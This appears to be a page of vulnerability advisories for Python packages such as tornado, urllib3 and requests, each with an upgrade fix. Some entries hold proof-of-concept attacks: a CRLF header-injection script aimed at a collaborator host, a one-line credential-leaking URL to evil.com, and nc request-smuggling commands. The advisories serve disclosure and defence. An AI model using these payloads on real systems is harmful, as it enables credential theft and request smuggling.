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Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to inefficient cookie parsing that results in quadratic performance. An attacker could cause tornado to consume excessive CPU resources and block the event loop through maliciously crafted cookies.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade tornado to version 6.4.2 or higher.

References

• GitHub Commit

Overview

Affected versions of this package are vulnerable to Infinite loop where an attacker can cause the application to stop responding by initiating a loop through functions affecting the Path module, such as joinpath, the overloaded division operator, and iterdir.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade zipp to version 3.19.1 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub PR

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to HTTP Request Smuggling via the parse and validate strings capabilities in the int constructor.

Notes:

1. This is possible when Tornado is deployed behind certain proxies that interpret those non-standard characters differently.
2. This is known to apply to older versions of haproxy, although the current release is not affected.

Remediation

Upgrade tornado to version 6.3.3 or higher.

References

• GitHub Commit
• GitHub Commit

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to Improper Neutralization of CRLF Sequences ('CRLF Injection') through the CurlAsyncHTTPClient headers. An attacker can manipulate HTTP headers and construct unauthorized requests by injecting CRLF sequences into header values.

PoC

The issue can be reproduced using the following script:

import asyncio

from tornado import httpclient
from tornado import curl_httpclient

async def main():
    http_client = curl_httpclient.CurlAsyncHTTPClient()

    request = httpclient.HTTPRequest(
        # Burp Collaborator payload
        "http://727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com/",
        method="POST",
        body="body",
        # Injected header using CRLF characters
        headers={"Foo": "Bar\r\nHeader: Injected"}
    )

    response = await http_client.fetch(request)
    print(response.body)

    http_client.close()

if __name__ == "__main__":
    asyncio.run(main())

When the specified server receives the request, it contains the injected header (Header: Injected) on its own line:

POST / HTTP/1.1
Host: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com
User-Agent: Mozilla/5.0 (compatible; pycurl)
Accept: */*
Accept-Encoding: gzip,deflate
Foo: Bar
Header: Injected
Content-Length: 4
Content-Type: application/x-www-form-urlencoded

body

The attacker can also construct entirely new requests using a payload with multiple CRLF sequences. For example, specifying a header value of \r\n\r\nPOST /attacker-controlled-url HTTP/1.1\r\nHost: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com results in the server receiving an additional, attacker-controlled request:

POST /attacker-controlled-url HTTP/1.1
Host: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com
Content-Length: 4
Content-Type: application/x-www-form-urlencoded

body

Remediation

Upgrade tornado to version 6.4.1 or higher.

References

• GitHub Commit

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Removal of Sensitive Information Before Storage or Transfer due to the improper handling of the Proxy-Authorization header during cross-origin redirects when ProxyManager is not in use. When the conditions below are met, including non-recommended configurations, the contents of this header can be sent in an automatic HTTP redirect.

Notes:

To be vulnerable, the application must be doing all of the following:

1. Setting the Proxy-Authorization header without using urllib3's built-in proxy support.

2. Not disabling HTTP redirects (e.g. with redirects=False)

3. Either not using an HTTPS origin server, or having a proxy or target origin that redirects to a malicious origin.

Workarounds

1. Using the Proxy-Authorization header with urllib3's ProxyManager.

2. Disabling HTTP redirects using redirects=False when sending requests.

3. Not using the Proxy-Authorization header.

Remediation

Upgrade urllib3 to version 1.26.19, 2.2.2 or higher.

References

• GitHub Commit
• GitHub Commit

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Open Redirect due to the retries parameter being ignored during PoolManager instantiation. An attacker can access unintended resources or endpoints by leveraging automatic redirects when the application expects redirects to be disabled at the connection pool level.

Note:

requests and botocore users are not affected.

Workaround

This can be mitigated by disabling redirects at the request() level instead of the PoolManager() level.

Remediation

Upgrade urllib3 to version 2.5.0 or higher.

References

• GitHub Commit

Overview

Affected versions of this package are vulnerable to Buffer Overflow via the strcpy function in _imagingcms.c, due to two calls that were able to copy too much data into fixed length strings.

Remediation

Upgrade pillow to version 10.3.0 or higher.

References

• GitHub Commit
• GitHub PR

Overview

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data due to incorrect URL processing. An attacker could craft a malicious URL that, when processed by the library, tricks it into sending the victim's .netrc credentials to a server controlled by the attacker.

Note:

This is only exploitable if the .netrc file contains an entry for the hostname that the attacker includes in the crafted URL's "intended" part (e.g., example.com in http://example.com:@evil.com/).

PoC

requests.get('http://example.com:@evil.com/')

Remediation

Upgrade requests to version 2.32.4 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Issue
• GitHub PR
• GitHub PR
• GitHub PR
• Seclists Full Disclosure
• Vulnerable Code

Overview

Affected versions of this package are vulnerable to Always-Incorrect Control Flow Implementation when making requests through a Requests Session. An attacker can bypass certificate verification by making the first request with verify=False, causing all subsequent requests to ignore certificate verification regardless of changes to the verify value.

Notes:

1. For requests <2.32.0, avoid setting verify=False for the first request to a host while using a Requests Session.

2. For requests <2.32.0, call close() on Session objects to clear existing connections if verify=False is used.

3. This vulnerability was initially fixed in version 2.32.0, which was yanked. Therefore, the next available fixed version is 2.32.2.

Remediation

Upgrade requests to version 2.32.2 or higher.

References

• GitHub Commit
• GitHub PR

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to HTTP Request Smuggling due to improper parsing of the -, +, and _ characters in chunk length and Content-Length fields through the int constructor.

Note: Exploiting this vulnerability is possible if Tornado is deployed behind certain proxies that interpret non-standard characters differently, such as older versions of haproxy.

Remediation

Upgrade tornado to version 6.3.3 or higher.

References

• GitHub Commit
• GitHub Release

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to HTTP Header Injection via the reason argument in HTTP status handling. An attacker can inject arbitrary HTTP headers or execute malicious scripts in the browser by supplying crafted input to the RequestHandler.set_status or tornado.web.HTTPError parameters.

##Workaround

This issue can be mitigated by controlling the usage of untrusted data for the reason argument.

Remediation

Upgrade tornado to version 6.5.3 or higher.

References

• GitHub Commit
• GitHub Release

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to HTTP Request Smuggling due to the handling of multiple Transfer-Encoding: chunked headers. An attacker can desynchronize the connection and potentially bypass ACLs or poison caches by sending crafted requests with duplicate Transfer-Encoding: chunked headers.

PoC

Install Tornado

Start a simple Tornado server that echoes each received request's body:

cat << EOF > server.py

import asyncio
import tornado

class MainHandler(tornado.web.RequestHandler):
    def post(self):
        self.write(self.request.body)

async def main():
    tornado.web.Application([(r"/", MainHandler)]).listen(8000)
    await asyncio.Event().wait()

asyncio.run(main())

EOF
python3 server.py &

Send a valid chunked request:

printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000

Observe that the response is as expected:

HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 Oct 2023 17:32:05 GMT
Content-Length: 1

Z

Send a request with two Transfer-Encoding: chunked headers:

printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000

Observe the strange response:

HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Sat, 07 Oct 2023 17:35:40 GMT
Content-Length: 0

HTTP/1.1 400 Bad Request

Remediation

Upgrade tornado to version 6.4.1 or higher.

References

• GitHub Commit

MPL-2.0 license